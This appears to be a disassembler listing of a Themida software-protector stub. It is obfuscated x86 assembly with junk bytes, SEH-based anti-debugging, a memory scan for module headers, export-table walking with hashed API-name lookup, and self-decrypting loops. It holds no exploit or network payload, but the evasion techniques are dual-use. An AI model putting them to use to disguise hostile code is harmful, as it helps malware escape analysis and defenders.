		dd 94000000h, 7C90EBh, 0
		dd 74000000h, 2Bh, 0
		dd 98000000h, 3000000h,	0FFFFFAh, 3 dup(0)
		dd 94000000h, 547C90EBh, 3E0012FFh, 5CEBh, 6 dup(0)
		dd 1F000000h, 5B02h, 94000000h,	7C90EBh, 0E7000000h, 11h dup(0)
		dd 3000000h, 57C9h, 2 dup(0)
		dd 0BA000000h, 0B2113000h, 5C18h, 0
		dd 35000000h, 0FFA471h,	19h dup(0)
		dd 54004000h, 12FFh, 2 dup(0)
		dd 0FA000000h, 427872h,	0EC000000h, 5BE9h, 40000000h, 0B11Ah
		dd 51000000h, 0B18Eh, 2	dup(0)
		dd 0F0000000h, 9D73CAh,	0
		dd 7C000000h, 0FD000000h, 95FF4E05h, 30h, 0
		dd 94000000h, 7C90EBh, 0CF000000h, 129C7h, 0
		dd 9000000h, 8F8060h, 4	dup(0)
		dd 48000000h, 6Bh, 7 dup(0)
		dd 4000000h, 2 dup(0)
		dd 0CB82h, 2 dup(0)
		dd 0F000000h, 1D00B118h, 6009h,	0
		dd 54000000h, 12FFh, 2 dup(0)
		dd 0F000000h, 0B118h, 2	dup(0)
		dd 4D000000h, 2135DC3Ch, 212121h, 0B8000000h, 481EA6D1h
		dd 3, 0FA000000h, 0BAF799h, 22000000h, 22222222h, 0CC222222h
		dd 0B13Eh, 4 dup(0)
		dd 323733h, 4 dup(0)
		db 90h
		db 21h,	2 dup(0)
		dd 2 dup(0)
		dd 54000000h, 696D6568h, 6164h,	1Ch dup(0)
		dd 0DD000000h, 5B1685h,	6 dup(0)
		dd 9A000000h, 5D1Ah, 8 dup(0)
		dd 18000000h, 0B129h, 8	dup(0)
		dd 0BB000000h, 5CA5h, 22000000h, 66849Fh, 5 dup(0)
		dd 80000000h, 12FEh, 2 dup(0)
		dd 70000000h, 3, 0
		dd 55000000h, 5BE0h, 9000000h, 7C812Ah,	3 dup(0)
		dd 1E000000h, 5ED7h, 4 dup(0)
		dd 3000000h, 0DF00B1FAh, 0A9C530h, 0
		dd 95000000h, 5CEDh, 0
		dd 6C000000h, 836F14h, 0
		dd 33000000h, 2	dup(33333333h),	333333h, 3 dup(0)
		dd 80000000h, 12FEh, 0F3000000h, 27F9B9h, 0
		dd 37000000h, 0B1FAh, 0
		dd 34000000h, 204h, 44000000h, 7C90EBh,	4 dup(0)
		dd 0AC000000h, 7C802Ch,	2 dup(0)
		dd 44000000h, 7C90EBh, 0C0000000h, 5 dup(0)
		dd 8F000000h, 836F04h, 4 dup(0)
		dd 1000000h, 5D005BC3h,	0E87DC216h, 2C00003Ah, 5806h, 7	dup(0)
		dd 10000000h, 81h, 2 dup(0)
		dd 0CF000000h, 129C7h, 4 dup(0)
		dd 94000000h, 257C90EBh, 0FFA3ACh, 5Fh dup(0)
		dd 0E9000000h, 0DA0000D6h, 0E67C81CDh, 2005E93h, 0FB000000h
		dd 27F9B9h, 24000000h, 5EA4h, 2Fh dup(0)
		dd 0A0000000h, 6007h, 4	dup(0)
		dd 0EB000000h, 34h, 0
		dd 8C000000h, 7	dup(0)
		dd 0CF000000h, 129C7h, 0
		dd 0C6000000h, 5CFFh, 8	dup(0)
		dd 0A5000000h, 5D1Dh, 4	dup(0)
		dd 93000000h, 183EDEh, 0
		dd 6000000h, 0A0005C37h, 0CE000000h, 5BE9h, 3 dup(0)
		dd 0D4000000h, 25D6Dh, 0
		dd 84000000h, 412662h, 2 dup(0)
		dd 0D000000h, 95008h, 0C1000000h, 0B5005A6Dh, 0DA77D713h
		dd 7C8111h, 2 dup(0)
		dd 0FF000000h, 6FFFFFFh, 30h, 3	dup(0)
		dd 0A0000000h, 5AC5h, 0A0000000h, 5AC5h, 2 dup(0)
		dd 0C3000000h, 0FFA7FDh, 4 dup(0)
		dd 3000000h, 5BE9h, 0Ch	dup(0)
		dd 96000000h, 5A005E33h, 0B777DDEEh, 8F36FB2Dh,	0E9750Fh
		dd 0
		dd 0E8000000h, 5C86h, 3	dup(0)
		dd 0CB000000h, 6022h, 29000000h, 10571D3Dh, 5B87h, 8 dup(0)
		dd 44000000h, 0DDAE5Ch,	6 dup(0)
		dd 94000000h, 183E82h, 14000000h, 1130h, 52000000h, 61747365h
		dd 70417472h, 78652E70h, 65h, 2	dup(0)
		dd 20000000h, 0B119h, 0
		dd 0B100h, 2 dup(0)
		dd 0D2000000h, 62860h, 0F0000000h, 77DD6Bh, 6 dup(0)
		dd 0A4000000h, 0E0000000h, 5DACh, 79000000h, 1FDEF53h
		dd 4D000000h, 35DC3Ch, 4 dup(0)
		dd 0AD000000h, 0A8h, 0
		dd 80000000h, 0DED5388h, 0B48Bh, 54000000h, 770012FFh
		dd 230057FDh, 5C64h, 10000000h,	76F215h, 0
		dd 0B8000000h, 0D7887743h, 15F05Bh, 2 dup(0)
		dd 91000000h, 129C7h, 86h dup(0)
		dd 21000000h, 0
		dd 0EC000000h, 57D21Ch,	2 dup(0)
		dd 0BF000000h, 573EDDh,	2 dup(0)
		dd 1B000000h, 57CCh, 0Ah dup(0)
		dd 7A000000h, 0F1E21Ah,	5 dup(0)
		dd 3E000000h, 5B87h, 6 dup(0)
		dd 0DD000000h, 3Ah, 24000000h, 46DB56h,	5 dup(0)
		dd 6C000000h, 836F14h, 4 dup(0)
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_57F81B:				; CODE XREF: Themida_:loc_57C2CAj
		mov	eax, ebp
		mov	edx, esp
		pusha
		call	$+5
		pop	ebp
		sub	ebp, 613355Bh
		mov	[ebp+61308B9h],	edx
		mov	[ebp+6133481h],	esi
		mov	[ebp+61313E5h],	eax
		cmp	dword ptr [ebp+61311CDh], 0
		jz	short loc_57F853
		mov	ebp, eax
		mov	esp, edx
		mov	eax, 1
		retn	0Ch
; ---------------------------------------------------------------------------


loc_57F853:				; CODE XREF: Themida_:0057F845j
		mov	eax, [esp+24h]
		mov	[ebp+6133081h],	eax
		push	45h
		call	sub_57F907
		push	783749Ah
		call	sub_57F94D
		push	0A894B25h
		call	sub_57F94D
		jmp	loc_57FA91
; ---------------------------------------------------------------------------
		db 45h,	46h, 47h
		dd 4B4A4948h, 4F4E4D4Ch, 53525150h, 57565554h, 5B5A5958h
		dd 5F5E5D5Ch, 63626160h, 67666564h, 6B6A6968h, 6F6E6D6Ch
		dd 73727170h, 77767574h, 7B7A7978h, 7F7E7D7Ch, 83828180h
		dd 87868584h, 8B8A8988h, 8F8E8D8Ch, 93929190h, 97969594h
		dd 9B9A9998h, 9F9E9D9Ch, 0A3A2A1A0h, 0A7A6A5A4h, 0ABAAA9A8h
		dd 0AFAEADACh, 0B3B2B1B0h, 0B7B6B5B4h, 0BBBAB9B8h, 0BFBEBDBCh
		dd 0C3C2C1C0h, 2 dup(0)
		db 3 dup(0)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_57F907	proc near		; CODE XREF: Themida_:0057F85Fp

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFD8h
		pusha
		call	$+5
		pop	edx
		sub	edx, 6133649h
		mov	ebx, edx
		mov	[ebp+var_28], 0


loc_57F923:				; CODE XREF: sub_57F907+39j
		mov	eax, [ebp+var_28]
		inc	eax
		mov	[ebp+var_28], eax
		cmp	[ebp+var_28], 80h
		jz	short loc_57F942
		mov	eax, [ebp+arg_0]
		mov	[ebx+61335B3h],	eax
		inc	[ebp+arg_0]
		inc	ebx
		jmp	short loc_57F923
; ---------------------------------------------------------------------------


loc_57F942:				; CODE XREF: sub_57F907+2Aj
		mov	[ebp+var_24], eax
		popa
		mov	eax, [ebp+var_24]
		leave
		retn	4
sub_57F907	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_57F94D	proc near		; CODE XREF: Themida_:0057F869p
					; Themida_:0057F873p

var_84		= dword	ptr -84h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFF7Ch
		pusha
		call	$+5
		pop	edx
		sub	edx, 6133692h
		lea	eax, [ebp+var_80]
		mov	ebx, [ebp+arg_0]
		mov	[ebp+var_84], 0


loc_57F973:				; CODE XREF: sub_57F94D+41j
		mov	ecx, [ebp+var_84]
		rol	ebx, 1
		mov	[eax], bl
		inc	ecx
		mov	[ebp+var_84], ecx
		cmp	[ebp+var_84], 80h
		jnz	short loc_57F973
		mov	[ebp+var_84], 0
		lea	edi, [edx+61335B3h]
		lea	esi, [ebp+var_80]


loc_57F9A3:				; CODE XREF: sub_57F94D+83j
		mov	cl, [esi]
		mov	ebx, 1F4h
		mov	eax, 785437ABh


loc_57F9AF:				; CODE XREF: sub_57F94D+69j
		rcl	eax, cl
		mov	cl, [edi]
		rcl	eax, cl
		dec	ebx
		jnz	short loc_57F9AF
		imul	eax, ebx
		inc	edi
		inc	esi
		mov	ecx, [ebp+var_84]
		inc	ecx
		mov	[ebp+var_84], ecx
		cmp	ecx, 80h
		jnz	short loc_57F9A3
		popa
		leave
		retn	4
sub_57F94D	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF0h
		mov	esi, [ebp+8]
		mov	dword ptr [ebp-4], 0
		jmp	short loc_57F9ED
; ---------------------------------------------------------------------------


loc_57F9E9:				; CODE XREF: Themida_:0057F9F0j
		inc	dword ptr [ebp-4]
		inc	esi


loc_57F9ED:				; CODE XREF: Themida_:0057F9E7j
		cmp	byte ptr [esi],	0
		jnz	short loc_57F9E9
		mov	edx, 0
		mov	esi, [ebp+8]
		mov	edi, [ebp+0Ch]
		jmp	short loc_57FA7E
; ---------------------------------------------------------------------------


loc_57F9FF:				; CODE XREF: Themida_:0057FA81j
		mov	dword ptr [ebp-8], 0
		jmp	short loc_57FA75
; ---------------------------------------------------------------------------


loc_57FA08:				; CODE XREF: Themida_:0057FA79j
		mov	dword ptr [ebp-10h], 0
		mov	dword ptr [ebp-0Ch], 0
		jmp	short loc_57FA62
; ---------------------------------------------------------------------------


loc_57FA18:				; CODE XREF: Themida_:0057FA66j
		shl	dword ptr [ebp-10h], 4
		mov	eax, [ebp-8]
		shl	eax, 1
		add	eax, edx
		add	eax, [ebp-0Ch]
		xor	ebx, ebx
		mov	bl, [eax+esi]
		cmp	bl, 30h
		jb	short loc_57FA3A
		cmp	bl, 39h
		ja	short loc_57FA3A
		sub	bl, 30h
		jmp	short loc_57FA5C
; ---------------------------------------------------------------------------


loc_57FA3A:				; CODE XREF: Themida_:0057FA2Ej
					; Themida_:0057FA33j
		cmp	bl, 61h
		jb	short loc_57FA4C
		cmp	bl, 66h
		ja	short loc_57FA4C
		sub	bl, 61h
		add	bl, 0Ah
		jmp	short loc_57FA5C
; ---------------------------------------------------------------------------


loc_57FA4C:				; CODE XREF: Themida_:0057FA3Dj
					; Themida_:0057FA42j
		cmp	bl, 41h
		jb	short loc_57FA5C
		cmp	bl, 46h
		ja	short loc_57FA5C
		sub	bl, 41h
		add	bl, 0Ah


loc_57FA5C:				; CODE XREF: Themida_:0057FA38j
					; Themida_:0057FA4Aj ...
		add	[ebp-10h], ebx
		inc	dword ptr [ebp-0Ch]


loc_57FA62:				; CODE XREF: Themida_:0057FA16j
		cmp	dword ptr [ebp-0Ch], 2
		jb	short loc_57FA18
		cmp	dword ptr [ebp-10h], 0
		jbe	short loc_57FA72
		mov	eax, [ebp-10h]
		stosb


loc_57FA72:				; CODE XREF: Themida_:0057FA6Cj
		inc	dword ptr [ebp-8]


loc_57FA75:				; CODE XREF: Themida_:0057FA06j
		cmp	dword ptr [ebp-8], 2
		jb	short loc_57FA08
		add	edx, 4


loc_57FA7E:				; CODE XREF: Themida_:0057F9FDj
		cmp	edx, [ebp-4]
		jb	loc_57F9FF
		mov	al, 0
		stosb
		mov	eax, [ebp-4]
		leave
		retn	8
; ---------------------------------------------------------------------------


loc_57FA91:				; CODE XREF: Themida_:0057F878j
		mov	ecx, 7000h
		lea	edi, [ebp+61337D8h]


loc_57FA9C:				; CODE XREF: Themida_:0057FAA0j
		dec	byte ptr [edi]
		inc	edi
		dec	ecx
		jnz	short loc_57FA9C
		mov	eax, 48692121h
		mov	edx, 0F0113000h
		sub	edx, 0F0000000h
		lea	eax, [ebp+61338B5h]
		push	eax
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		call	$+5
		pop	eax
		sub	ebx, 0AE1C6C6h
		sub	eax, edx
		jmp	loc_57FAEC
; ---------------------------------------------------------------------------
		dw 0CA89h
		dd 9349DF13h, 0C46D289Ah, 0AAC09EA5h, 3458F021h
; ---------------------------------------------------------------------------


loc_57FAEC:				; CODE XREF: Themida_:0057FAD5j
		and	eax, 0FFFFF000h
		cmc
		mov	ecx, edx
		xor	edi, edi


loc_57FAF6:				; CODE XREF: Themida_:0057FB11j
		cmp	word ptr [eax],	5A4Dh
		jnz	short loc_57FB0B
		movzx	edx, word ptr [eax+3Ch]
		add	edx, eax
		cmp	dword ptr [edx], 4550h
		jz	short loc_57FB13


loc_57FB0B:				; CODE XREF: Themida_:0057FAFBj
		sub	eax, 1000h
		inc	edi
		jmp	short loc_57FAF6
; ---------------------------------------------------------------------------


loc_57FB13:				; CODE XREF: Themida_:0057FB09j
		pop	large dword ptr	fs:0
		add	esp, 4
		lea	edx, [ebp+61338C8h]
		push	edx
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		add	eax, ecx
		sub	eax, 1000h
		mov	esi, [eax+4]
		and	esi, 0FFFF0000h
		cmp	esi, 80000000h
		jbe	short loc_57FB4D
		mov	esi, [eax+1Ch]


loc_57FB4D:				; CODE XREF: Themida_:0057FB48j
		xor	eax, eax


loc_57FB4F:				; CODE XREF: Themida_:0057FB62j
		cmp	eax, 32h
		jz	short loc_57FB73
		cmp	word ptr [esi],	5A4Dh
		jz	short loc_57FB64


loc_57FB5B:				; CODE XREF: Themida_:0057FB71j
		sub	esi, 10000h
		inc	eax
		jmp	short loc_57FB4F
; ---------------------------------------------------------------------------


loc_57FB64:				; CODE XREF: Themida_:0057FB59j
		mov	edi, [esi+3Ch]
		add	edi, esi
		cmp	dword ptr [edi], 4550h
		jz	short loc_57FBB5
		jmp	short loc_57FB5B
; ---------------------------------------------------------------------------


loc_57FB73:				; CODE XREF: Themida_:0057FB52j
		pop	large dword ptr	fs:0
		add	esp, 4
		popa
		retn
; ---------------------------------------------------------------------------
		push	ecx
		mov	ecx, [esp+10h]
		sub	dword ptr [ecx+0B0h], 1000h
		pop	ecx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		push	ecx
		mov	ecx, [esp+10h]
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 61338D3h
		lea	eax, [ebp+6133891h]
		mov	[ecx+0B8h], eax
		pop	ebp
		pop	ecx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_57FBB5:				; CODE XREF: Themida_:0057FB6Fj
		xchg	eax, esi
		pop	large dword ptr	fs:0
		add	esp, 4
		push	0
		push	ebp
		call	sub_57FBCB
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57FBCB	proc near		; CODE XREF: Themida_:0057FBC3p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Bh
		inc	ebp
		push	ebp
		retn
sub_57FBCB	endp

; ---------------------------------------------------------------------------
		fldcw	word ptr ds:839FFCD2h
		sub	[ebx], ebp
		mov	bx, di
		mov	bl, cl
		mov	ebx, edi
		jmp	loc_57FBF9
; ---------------------------------------------------------------------------
		db 0E5h
		dd 0D023CB8Dh, 0DF49837Fh
		db 0EFh
; ---------------------------------------------------------------------------


loc_57FBF9:				; CODE XREF: Themida_:0057FBEAj
		mov	cx, ds
		call	near ptr loc_57FC13+2
		daa
		fisubr	dword ptr [ebx-34B01236h]
		in	eax, 0C3h	; DMA controller, 8237A-5.
					; channel 1 current word count
		test	[eax], cl
		cmp	esi, ds:9E835E7Fh
		setalc


loc_57FC13:				; CODE XREF: Themida_:0057FBFCp
		fisubr	word ptr [edx+66h]
		mov	ebx, 805B5A84h
		loope	loc_57FC21
		mov	bl, 0AFh
		push	esi
		stc


loc_57FC21:				; CODE XREF: Themida_:0057FC1Bj
		pop	ebx
		or	cl, cl
		jnz	loc_57FC69
		cmc
		mov	dword ptr [ebp+613173Dh], 1
		sub	bh, 17h
		jmp	loc_57FC75
; ---------------------------------------------------------------------------
		db 51h,	0E8h, 0Bh
		dd 29000000h, 0C3E1D250h, 112EDB20h, 800FD796h,	0
; ---------------------------------------------------------------------------
		pop	ebx
		pop	ebx
		jmp	loc_57FC69
; ---------------------------------------------------------------------------
		db 6Eh
; ---------------------------------------------------------------------------
		jmp	fword ptr [esi+6E7555Ch]
; ---------------------------------------------------------------------------
		dw 0E015h
		dd 0F6E66F37h
		db 0A1h
; ---------------------------------------------------------------------------


loc_57FC69:				; CODE XREF: Themida_:0057FC24j
					; Themida_:0057FC56j
		mov	dword ptr [ebp+613173Dh], 0
		mov	bl, 0A9h


loc_57FC75:				; CODE XREF: Themida_:0057FC38j
		mov	[ebp+613116Dh],	eax
		jmp	loc_57FC87
; ---------------------------------------------------------------------------
		dd 0CB0D7C69h
		db 0A3h, 86h, 0Fh
; ---------------------------------------------------------------------------


loc_57FC87:				; CODE XREF: Themida_:0057FC7Bj
		mov	[ebp+6131EE9h],	eax
		call	near ptr sub_57FCA1
		clc
		fsubr	qword ptr [ecx]
		jle	short loc_57FCC8
		sbb	edx, [ebx]
		push	ds
		push	eax
		jno	short near ptr loc_57FCD9+1
		pusha
		cld
		test	ecx, ecx

; =============== S U B	R O U T	I N E =======================================



sub_57FCA1	proc far		; CODE XREF: Themida_:0057FC8Dp

var_20		= dword	ptr -20h
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, 1DAB4A51h
		pop	edx
		mov	si, 0FEF9h
		add	edx, 6C09h
		jnz	loc_57FCC6
		jmp	loc_57FCC6
; ---------------------------------------------------------------------------
		dd 782518E8h, 4B041E1Fh
; ---------------------------------------------------------------------------
		sub	esi, [edi]


loc_57FCC6:				; CODE XREF: sub_57FCA1+10j
					; sub_57FCA1+16j
		xor	ecx, ecx


loc_57FCC8:				; CODE XREF: Themida_:0057FC95j
					; sub_57FCA1+A2j
		mov	edi, [edx+ecx]
		and	ebx, 685BF319h
		add	edi, 0D5DDF76h
		mov	ah, 13h


loc_57FCD9:				; CODE XREF: Themida_:0057FC9Bj
		sub	edi, 10A78E55h
		pusha
		cmc
		movsx	edx, ax
		popa
		xor	edi, 28E82139h
		mov	esi, 2053DC43h
		push	edi
		mov	ah, 0B5h
		pop	dword ptr [edx+ecx]
		jnb	loc_57FD12
		pusha
		jmp	loc_57FD0E
; ---------------------------------------------------------------------------
		dw 0A3EEh
		dd 0DBC2DCFBh, 7B71E680h
		db 0F4h, 75h
; ---------------------------------------------------------------------------


loc_57FD0E:				; CODE XREF: sub_57FCA1+5Cj
		movzx	esi, di
		popa


loc_57FD12:				; CODE XREF: sub_57FCA1+55j
		jns	loc_57FD1A
		mov	bl, 8Ch


loc_57FD1A:				; CODE XREF: sub_57FCA1:loc_57FD12j
		sub	ecx, 4
		mov	bx, si
		cmp	ecx, 0FFFF94B8h
		jnz	loc_57FD42
		mov	esi, 65084A63h
		jmp	loc_57FD57
; ---------------------------------------------------------------------------
		dw 0FB3Fh
		dd 3652E578h, 0CA620EBFh
		db 3Eh,	0F4h
; ---------------------------------------------------------------------------


loc_57FD42:				; CODE XREF: sub_57FCA1+85j
		stc
		jmp	loc_57FCC8
; ---------------------------------------------------------------------------
		dd 0B267E84Ah, 0EF0A836Ah, 6E9A01E0h
		db 0FAh, 20h, 68h
; ---------------------------------------------------------------------------


loc_57FD57:				; CODE XREF: sub_57FCA1+90j
		jmp	short loc_57FD5D
; ---------------------------------------------------------------------------
		db 1Bh,	2, 0
		db 0
; ---------------------------------------------------------------------------


loc_57FD5D:				; CODE XREF: sub_57FCA1:loc_57FD57j
		jmp	loc_580486
; ---------------------------------------------------------------------------
		jmp	loc_57FD77
; ---------------------------------------------------------------------------
		db 8Ah
		dd 55D77416h, 8A9BA460h, 2133E8C6h
; ---------------------------------------------------------------------------
		pop	ds
		inc	ecx
		inc	eax


loc_57FD77:				; CODE XREF: sub_57FCA1+C1j
		pusha
		add	[ebp+61318F5h],	ecx
		mov	eax, 0
		pusha
		movzx	edx, dx
		mov	edi, [ebp+6130FF9h]
		popa
		mov	edx, [esp+28h]
		pusha
		mov	ebx, [ebp+6131AD9h]
		jmp	loc_57FDA9
; ---------------------------------------------------------------------------
		dw 0E55Ah
		dd 9500E97Ch, 747E228Bh
		db 0FFh
; ---------------------------------------------------------------------------


loc_57FDA9:				; CODE XREF: sub_57FCA1+F8j
		popa
		mov	[ebp+6132BC5h],	eax
		cld
		mov	esi, 3Ch
		cld
		add	esi, [esp+18h+arg_8]
		add	[ebp+61334D9h],	edx
		lodsw
		mov	[ebp+6131629h],	edi
		add	eax, [esp+18h+arg_8]
		jno	loc_57FDD9
		mov	[ebp+6133185h],	eax


loc_57FDD9:				; CODE XREF: sub_57FCA1+12Cj
		push	eax
		jmp	loc_57FDF3
; ---------------------------------------------------------------------------
		db 1Ch
		dd 7FF0DEBCh, 7F00B3E3h, 78BD0773h, 58A9BFC7h
		db 47h,	91h, 0BFh
; ---------------------------------------------------------------------------


loc_57FDF3:				; CODE XREF: sub_57FCA1+139j
		mov	[esp+0], eax
		jp	loc_57FE02
		sub	[ebp+6132429h],	ebx


loc_57FE02:				; CODE XREF: sub_57FCA1+155j
		mov	eax, [eax+78h]
		mov	[ebp+6132951h],	edi
		add	eax, [esp+1Ch+arg_8]
		jmp	loc_57FE20
; ---------------------------------------------------------------------------
		dd 65AB2B3Fh, 8EDF2232h, 0ACABA4B0h
; ---------------------------------------------------------------------------


loc_57FE20:				; CODE XREF: sub_57FCA1+16Ej
		mov	eax, [eax+18h]
		cld
		inc	eax
		mov	[ebp+613121Dh],	edi
		mov	[ebp+6133A8Fh],	eax
		mov	[ebp+6131A99h],	edx
		pusha
		sub	[ebp+6130079h],	edx
		popa
		pop	eax
		jmp	loc_57FE4A
; ---------------------------------------------------------------------------
		db 0CEh, 0BBh, 0F0h
		db 0D2h, 41h
; ---------------------------------------------------------------------------


loc_57FE4A:				; CODE XREF: sub_57FCA1+19Fj
		jmp	loc_57FE5F
; ---------------------------------------------------------------------------
		db 0E2h
		dd 0E31A9DA4h, 0AD8F501Ch, 203243EAh
		db 30h,	0F4h, 0E8h
; ---------------------------------------------------------------------------


loc_57FE5F:				; CODE XREF: sub_57FCA1:loc_57FE4Aj
		mov	esi, [eax+78h]
		mov	[ebp+61300E9h],	ecx
		add	esi, 1Ch
		clc
		add	esi, [esp+18h+arg_8]
		jmp	loc_57FE7A
; ---------------------------------------------------------------------------
		and	eax, 2BCC080h


loc_57FE7A:				; CODE XREF: sub_57FCA1+1CFj
		lea	edi, [ebp+61318C1h]
		pusha
		movzx	esi, ax
		pusha
		movsx	ecx, di
		mov	ebx, [ebp+6131BD5h]
		popa
		popa
		jmp	loc_57FEA9
; ---------------------------------------------------------------------------
		db 9Dh,	3, 76h
		dd 1AFD46D6h, 0B7ED6243h, 0ADC39C23h, 36AD23D6h
		db 20h
; ---------------------------------------------------------------------------


loc_57FEA9:				; CODE XREF: sub_57FCA1+1EFj
		lodsd
		js	loc_57FEB8
		ja	loc_57FEB8
		pusha
		popa


loc_57FEB8:				; CODE XREF: sub_57FCA1+209j
					; sub_57FCA1+20Fj
		jmp	loc_57FECD
; ---------------------------------------------------------------------------
		db 94h,	2Eh, 74h
		dd 296855AFh, 2D3B60D2h, 8A3DC3ACh
		db 0A8h
; ---------------------------------------------------------------------------


loc_57FECD:				; CODE XREF: sub_57FCA1:loc_57FEB8j
		add	eax, [esp+18h+arg_8]
		jmp	loc_57FEE5
; ---------------------------------------------------------------------------
		lodsb
		mov	dh, 0B0h
		cld
		cmc
		les	ebp, [ebp-58h]
		enter	0FFFFF229h, 0F4h
		and	al, [ecx]
		inc	esp


loc_57FEE5:				; CODE XREF: sub_57FCA1+230j
		stosd
		mov	[ebp+6132BB5h],	ecx
		lea	edi, [ebp+6130951h]
		or	[ebp+61304D9h],	esi
		jmp	loc_57FF07
; ---------------------------------------------------------------------------
		db 0C7h, 72h, 0E3h
		dd 0B9CAB34h
		db 1Ah,	1, 0Ch
; ---------------------------------------------------------------------------


loc_57FF07:				; CODE XREF: sub_57FCA1+257j
		lodsd
		cld
		add	eax, [esp+24h]
		jmp	loc_57FF19
; ---------------------------------------------------------------------------
		dw 0AF8Fh
; ---------------------------------------------------------------------------
		inc	esi
		xor	al, 6Ch
		mov	cl, 6Ah


loc_57FF19:				; CODE XREF: sub_57FCA1+26Cj
		sub	[ebp+6132261h],	esi
		push	eax
		pusha
		mov	bx, cx
		mov	si, 0C3A0h
		popa
		mov	[esp+0], eax
		pusha
		add	[ebp+6130C19h],	esi
		mov	[ebp+61310B5h],	edi
		popa
		jz	loc_57FF48
		pusha
		mov	[ebp+61334A9h],	edi
		popa


loc_57FF48:				; CODE XREF: sub_57FCA1+299j
		stosd
		xor	[ebp+6130F59h],	edi
		lea	edi, [ebp+6131B55h]
		mov	[ebp+6130709h],	esi
		lodsd
		jge	loc_57FF68
		mov	[ebp+6133059h],	esi


loc_57FF68:				; CODE XREF: sub_57FCA1+2BBj
		add	eax, [esp+28h]
		xor	[ebp+6131239h],	ebx
		pusha
		mov	edx, 8FBDFA1h
		pusha
		mov	[ebp+6132C49h],	ecx
		popa
		popa
		stosd
		jmp	loc_57FF96
; ---------------------------------------------------------------------------
		db 0EDh
		dd 9D4BC67Fh, 9AE40827h, 71F3DB33h
; ---------------------------------------------------------------------------
		pop	esi
		pop	ebp


loc_57FF96:				; CODE XREF: sub_57FCA1+2E1j
		pop	esi
		clc
		sub	[ebp+61325EDh],	ebx


loc_57FF9E:				; CODE XREF: sub_57FCA1+389j
		dec	dword ptr [ebp+6133A8Fh]
		cmp	dword ptr [ebp+6133A8Fh], 0
		jnz	short loc_57FFBD
		mov	dword ptr [esp+1Ch], 0
		lea	esi, [ebp+6133F55h]
		jmp	esi
; ---------------------------------------------------------------------------


loc_57FFBD:				; CODE XREF: sub_57FCA1+30Aj
		push	esi
		lodsd
		add	eax, [esp+28h]
		xchg	eax, edi
		mov	ebx, edi
		mov	al, [ebp+61311E1h]
		test	al, al
		jz	short loc_57FFD4
		cmp	al, [edi]
		jnz	short loc_580020


loc_57FFD4:				; CODE XREF: sub_57FCA1+32Dj
		push	edi
		xor	al, al


loc_57FFD7:				; CODE XREF: sub_57FCA1+337j
		scasb
		jnz	short loc_57FFD7
		pop	esi
		sub	edi, ebx
		push	edx
		cld
		xor	ecx, ecx
		dec	ecx
		mov	edx, ecx


loc_57FFE4:				; CODE XREF: sub_57FCA1+36Cj
		xor	eax, eax
		xor	ebx, ebx
		lodsb
		xor	al, cl
		mov	cl, ch
		mov	ch, dl
		mov	dl, dh
		mov	dh, 8


loc_57FFF3:				; CODE XREF: sub_57FCA1+365j
		shr	bx, 1
		rcr	ax, 1
		jnb	short loc_580004
		xor	ax, 5041h
		xor	bx, 5449h


loc_580004:				; CODE XREF: sub_57FCA1+358j
		dec	dh
		jnz	short loc_57FFF3
		xor	ecx, eax
		xor	edx, ebx
		dec	edi
		jnz	short loc_57FFE4
		not	edx
		not	ecx
		mov	eax, edx
		rol	eax, 10h
		mov	ax, cx
		pop	edx
		cmp	edx, eax
		jz	short loc_58002F


loc_580020:				; CODE XREF: sub_57FCA1+331j
		pop	esi
		add	esi, 4
		inc	dword ptr [ebp+6132BC5h]
		jmp	loc_57FF9E
; ---------------------------------------------------------------------------


loc_58002F:				; CODE XREF: sub_57FCA1+37Dj
		pop	esi
		pusha
		mov	cx, 84FDh
		or	edx, [ebp+6131FD5h]
		popa
		jbe	loc_58004F
		pusha
		adc	di, 51C5h
		mov	[ebp+6131619h],	ebx
		popa


loc_58004F:				; CODE XREF: sub_57FCA1+39Bj
		mov	eax, [ebp+6132BC5h]
		jb	loc_580067
		jno	loc_580067
		mov	[ebp+613151Dh],	ebx


loc_580067:				; CODE XREF: sub_57FCA1+3B4j
					; sub_57FCA1+3BAj
		sub	[ebp+6131D7Dh],	edx
		shl	eax, 1
		sub	[ebp+61308CDh],	ecx
		mov	[ebp+6130FF9h],	esi
		add	eax, [ebp+6131B55h]
		js	loc_58008D
		mov	[ebp+6130BADh],	ebx


loc_58008D:				; CODE XREF: sub_57FCA1+3E0j
		mov	esi, 0
		cld
		xchg	eax, esi
		mov	[ebp+6132369h],	edx
		lodsw
		jmp	loc_5800AE
; ---------------------------------------------------------------------------
		db 0EEh, 5Eh, 0BCh
		dd 0B76EE00h, 544F9084h
; ---------------------------------------------------------------------------
		jmp	short loc_580113
; ---------------------------------------------------------------------------


loc_5800AE:				; CODE XREF: sub_57FCA1+3FBj
		pusha
		add	eax, [ebp+6131BF1h]
		mov	ebx, 595BF2D6h
		popa
		shl	eax, 2
		mov	[ebp+6131621h],	ebx
		add	eax, [ebp+61318C1h]
		js	loc_5800E8
		jmp	loc_5800E8
; ---------------------------------------------------------------------------
		db 8, 25h, 0E8h
		dd 6C513DA8h, 450CB1Ch,	9B945615h, 81AA09Ah
; ---------------------------------------------------------------------------


loc_5800E8:				; CODE XREF: sub_57FCA1+429j
					; sub_57FCA1+42Fj
		xchg	eax, esi
		mov	[ebp+6132C89h],	esi
		lodsd
		stc
		mov	ecx, [esp+24h]
		jmp	loc_580105
; ---------------------------------------------------------------------------
		dw 0A40Bh
		dd 7A6346E4h, 5E53D14h
; ---------------------------------------------------------------------------
		xlat


